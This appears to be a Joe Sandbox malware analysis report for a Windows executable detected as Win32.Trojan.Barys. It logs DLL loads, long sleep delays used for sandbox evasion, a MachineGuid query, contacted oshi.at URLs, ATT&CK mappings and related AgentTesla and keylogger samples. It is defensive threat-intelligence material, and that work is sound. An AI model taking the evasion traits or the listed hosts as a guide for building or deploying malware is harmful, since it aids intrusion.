Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Section loaded: gpapi.dll	Jump to behavior

Source: Ref_31020563.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Ref_31020563.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe	Memory allocated: 1220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Memory allocated: 2D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Memory allocated: 2B50000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe TID: 7708	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Ref_31020563.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: Ref_31020563.exe, 00000000.00000002.3283207471.0000000000F82000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Ref_31020563.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe

Queries volume information: C:\Users\user\Desktop\Ref_31020563.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ref_31020563.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Ref_31020563.exe	37%	ReversingLabs	Win32.Trojan.Barys
Ref_31020563.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://oshi.at/AQBP	0%	Avira URL Cloud	safe
http://ocsps.ssl.com0?	0%	Avira URL Cloud	safe
http://oshi.atd	0%	Avira URL Cloud	safe
https://oshi.at/AQBPd	0%	Avira URL Cloud	safe
http://ocsps.ssl.com0	0%	Avira URL Cloud	safe
http://ocsps.ssl.com0_	0%	Avira URL Cloud	safe
https://oshi.at/AQBPKPAMhkUWREVZAdqU4bM.xStpkLwqD15MRB9YwOo	0%	Avira URL Cloud	safe
https://oshi.at/AQBPto	0%	Avira URL Cloud	safe
https://oshi.at	0%	Avira URL Cloud	safe
http://oshi.at	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
oshi.at	194.15.112.248	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://oshi.at/AQBP	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0	Ref_31020563.exe	false		high
http://oshi.atd	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DDA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crls.ssl.com/ssl.com-rsa-RootCA.crl0	Ref_31020563.exe	false		high
http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0	Ref_31020563.exe	false		high
http://oshi.at	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DDA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/somenonymous/OshiUpload	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002ED7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F03000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E3A000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003099000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F07000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030A9000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F14000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030D5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002ECB000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DF7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030B5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000003095000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.000000000308D000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E4E000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030C5000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.000000000307D000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ssl.com/repository0	Ref_31020563.exe	false		high
http://ocsps.ssl.com0?	Ref_31020563.exe	false	Avira URL Cloud: safe	unknown
http://ocsps.ssl.com0_	Ref_31020563.exe	false	Avira URL Cloud: safe	unknown
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	Ref_31020563.exe	false		high
https://oshi.at	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q	Ref_31020563.exe	false		high
http://ocsps.ssl.com0	Ref_31020563.exe	false	Avira URL Cloud: safe	unknown
https://oshi.at/AQBPKPAMhkUWREVZAdqU4bM.xStpkLwqD15MRB9YwOo	Ref_31020563.exe	false	Avira URL Cloud: safe	unknown
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0	Ref_31020563.exe	false		high
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	Ref_31020563.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0	Ref_31020563.exe	false		high
https://oshi.at/AQBPd	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002F2C000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, Ref_31020563.exe, 00000000.00000002.3283542309.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oshi.at/AQBPto	Ref_31020563.exe, 00000000.00000002.3283542309.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.15.112.248	oshi.at	Ukraine		213354	INTERNATIONAL-HOSTING-SOLUTIONS-ASEUDCrouteGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572489
Start date and time:	2024-12-10 16:26:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ref_31020563.exe
Detection:	MAL
Classification:	mal56.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 6 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Ref_31020563.exe, PID 7572 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Ref_31020563.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
194.15.112.248	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse
	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse
	Order._1.exe	Get hash	malicious	AsyncRAT, Babadeda, PureLog Stealer, zgRAT	Browse
	uVQLD8YVk6.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, RHADAMANTHYS, RedLine, SmokeLoader	Browse
	W73PCbSH71.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, RHADAMANTHYS, RedLine, SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
oshi.at	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	194.15.112.248
	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	194.15.112.248
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	194.15.112.248
	Ref#1550238.exe	Get hash	malicious	Unknown	Browse	5.253.86.15
	Swift Payment MT103.lnk	Get hash	malicious	Unknown	Browse	188.241.120.6
	Facturation.exe	Get hash	malicious	Doenerium	Browse	188.241.120.6
	Facturation.exe	Get hash	malicious	Doenerium	Browse	188.241.120.6
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse	194.15.112.248
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse	194.15.112.248

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNATIONAL-HOSTING-SOLUTIONS-ASEUDCrouteGB	Ref#116670.exe	Get hash	malicious	MassLogger RAT	Browse	194.15.112.248
	Ref#60031796.exe	Get hash	malicious	AgentTesla	Browse	194.15.112.248
	Ref#1550238.exe	Get hash	malicious	AgentTesla	Browse	194.15.112.248
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse	194.15.112.248
	KyrazonSetup.exe	Get hash	malicious	Unknown	Browse	194.15.112.248
	Order._1.exe	Get hash	malicious	AsyncRAT, Babadeda, PureLog Stealer, zgRAT	Browse	194.15.112.248
	uVQLD8YVk6.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, RHADAMANTHYS, RedLine, SmokeLoader	Browse	194.15.112.248
	W73PCbSH71.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, RHADAMANTHYS, RedLine, SmokeLoader	Browse	194.15.112.248
	1pXdiCesZ6.exe	Get hash	malicious	DanaBot	Browse	194.15.112.203
	bad.pdf.exe	Get hash	malicious	Unknown	Browse	194.15.113.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	xUPaeKk5wQ.msi	Get hash	malicious	AteraAgent	Browse	194.15.112.248
	7gBUqzSN3y.msi	Get hash	malicious	AteraAgent	Browse	194.15.112.248
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	194.15.112.248
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	194.15.112.248
	Bunker_STS_pdf.vbs	Get hash	malicious	Unknown	Browse	194.15.112.248
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	194.15.112.248
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	194.15.112.248
	E-dekont.exe	Get hash	malicious	MassLogger RAT	Browse	194.15.112.248
	Hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	194.15.112.248

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.503258515872725
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Ref_31020563.exe
File size:	180'704 bytes
MD5:	7c8431a3c14296cff7381cc69b61bad8
SHA1:	d3d20ede9527fdbeb8252118af55558037721630
SHA256:	881d0d3e98524b861548955ed7ced7f91de3a39d50feb573896694188e7fecff
SHA512:	43029de7a6896a3e9b1037c02658b25ef222fa891f22551c6e934c6d0fe1a4a127e5f7f3d37490ede23be27534410dbd2ac846c0722c3ff909be3933bb166f8b
SSDEEP:	384:eNuji6i2UKsMQmZjVBjN4IXQxxkSlSlSlSlSlKlfalfalfalfalfalfalfalfalt:sH22m5vHzhVCa3K6XiFZKj
TLSH:	43041A63B53CC4E2F89C3DF09A5997256AB16E920238F087E54FBDC6E8B3623C6051D5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9Xg............................^+... ...@....@.. ....................................`................................

File Icon


Icon Hash:	07d8d8d4d4d85026

Static PE Info

General

Entrypoint:	0x402b5e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6758390D [Tue Dec 10 12:50:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	04/07/2024 00:35:32 15/05/2027 11:15:04
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=VN, OID.2.5.4.15=Private Organization, CN="DUC FABULOUS CO.,LTD", SERIALNUMBER=0105838409, O="DUC FABULOUS CO.,LTD", L=Hanoi, C=VN
Version:	3
Thumbprint MD5:	FF0E889D2A73C3A679605952D35452DC
Thumbprint SHA-1:	2C1D12F8BBE0827400A8440AF74FFFA8DCC8097C
Thumbprint SHA-256:	A73352D67693AA16BCE2F182B15891F0F23EA0485CC18938686AAFDEE7B743E3
Serial:	6DD2E3173995F51BFAC1D9FB4CB200C1

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b08	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x29276	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2a400	0x1de0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
